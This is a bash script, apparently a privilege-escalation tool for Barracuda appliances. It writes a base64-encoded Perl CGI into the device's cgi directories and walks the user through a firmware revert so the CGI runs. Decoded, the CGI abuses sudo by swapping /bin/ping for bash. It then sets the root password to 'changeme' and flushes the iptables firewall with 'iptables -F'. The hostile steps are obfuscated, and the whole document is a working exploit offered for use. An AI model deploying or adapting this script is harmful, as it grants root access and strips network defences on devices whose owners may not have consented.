#!/bin/bash
# rootme.sh v0.1 - ikki@nibblesec.org

ROOTME="IyEvdXNyL2xvY2FsL2Jpbi9wZXJsCiNyb290bWUuY2dpIHYwLjEgLSBpa2tpQG5pYmJsZXNlYy5vcmcKCnVzZSBzdHJpY3Q7CgpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKcHJpbnQgIjxodG1sPjxoZWFkPjx0aXRsZT4uOlsgcm9vdG1lLmNnaSB2MC4xIF06LjwvdGl0bGU+PC9oZWFkPjxib2R5PiI7CgpwcmludCAiPGgxPkdldHRpbmcgYmFjayB5b3VyIEJhcnJhY3VkYSBkZXZpY2U6PC9oMT48YnI+IjsKcHJpbnQgIjxvbD4iOwpwcmludCAiPGxpPkVzY2FsYXRlIHByaXZpbGVnZXM8L2xpPiI7CiZzeXNDbWQoInN1ZG8gbXYgL2Jpbi9waW5nIC90bXAvcGluZy5vbGQiKTsKJnN5c0NtZCgic3VkbyBsbiAtcyAvYmluL2Jhc2ggL2Jpbi9waW5nIik7CnByaW50ICJXaG9hbWk/ICI7CnByaW50IGBzdWRvIHBpbmcgLWMgd2hvYW1pYDsKcHJpbnQgIjxicj4iOwpwcmludCAiPGxpPkNoYW5nZSByb290IHBhc3N3b3JkPC9saT48YnI+IjsKJnN5c0NtZCgic3VkbyBwaW5nIC1jIFwiZWNobyByb290OmNoYW5nZW1lfHN1ZG8gcGluZyAtYyAvdXNyL3NiaW4vY2hwYXNzd2RcIiIpOwpwcmludCAiPGxpPkRpc2FibGUgRlcgcnVsZXM8L2xpPjxicj4iOwomc3lzQ21kKCJzdWRvIHBpbmcgLWMgXCIvc2Jpbi9pcHRhYmxlcyAtRlwiIik7CnByaW50ICI8bGk+UmVzdG9yZSAvYmluPC9saT48YnI+IjsKJnN5c0NtZCgic3VkbyBtdiAvdG1wL3Bpbmcub2xkIC9iaW4vcGluZyIpOwpwcmludCAiPC9vbD48YnI+PGJyPjxicj4iOwpwcmludCAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+IjsKcHJpbnQgIjxwPjxmb250IGNvbG9yPVwiZ3JlZW5cIj5Db25uZWN0IHRvIFNTSCAoMjIvdGNwKSBhcyByb290OmNoYW5nZW1lPC9mb250PjwvcD4iOwpwcmludCAiPHA+PGZvbnQgY29sb3I9XCJyZWRcIj5DaGFuZ2UgeW91ciBwYXNzd29yZCEgSXB0YWJsZXMgRlcgcnVsZXMgYXJlIGdvaW5nIHRvIGJlIHJlc3RvcmVkIGluIGZldyBtaW51dGVzLi4uPC9mb250PjwvcD4iOwpwcmludCAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+IjsKcHJpbnQgIjwvYm9keT48L2h0bWw+IjsKCgpzdWIgc3lzQ21kCnsKICAgIG15ICRzeXN0ZW1DbWQgPSAkX1swXTsKICAgIHByaW50IExPRyAiJDA6IEV4ZWN1dGluZyBbJHN5c3RlbUNtZF0gXG4iOwogICAgbXkgJHJldHVybkNvZGUgPSBzeXN0ZW0oICRzeXN0ZW1DbWQgKTsKICAgIGlmICggJHJldHVybkNvZGUgIT0gMCApIHsgZGllICJGYWlsZWQhXG4iOyB9Cn0="

echo ".:[ rootme.sh v0.1 ]:."
echo "Ready to deploy \"rootme.cgi'\"? Press a buttom to confirm."
read inp
for i in `find ./ -type d -name "cgi-*"`; do echo $ROOTME | base64 -d > $i/rootme.cgi; chmod 755 $i/rootme.cgi; done
echo "Done! It's time to reboot your Barracuda"
echo "(1) Go to the web console (default user admin:admin)"
echo "(2) Revert your firmware to the factory installed version. Go to \"Advanced-->Firmware Update-->Firmware Revert\""
echo "(3) After rebooting, visit https://<your_barracuda>/cgi-mod/rootme.cgi to complete the process" 
echo
echo "Enjoy your Barracuda device!"

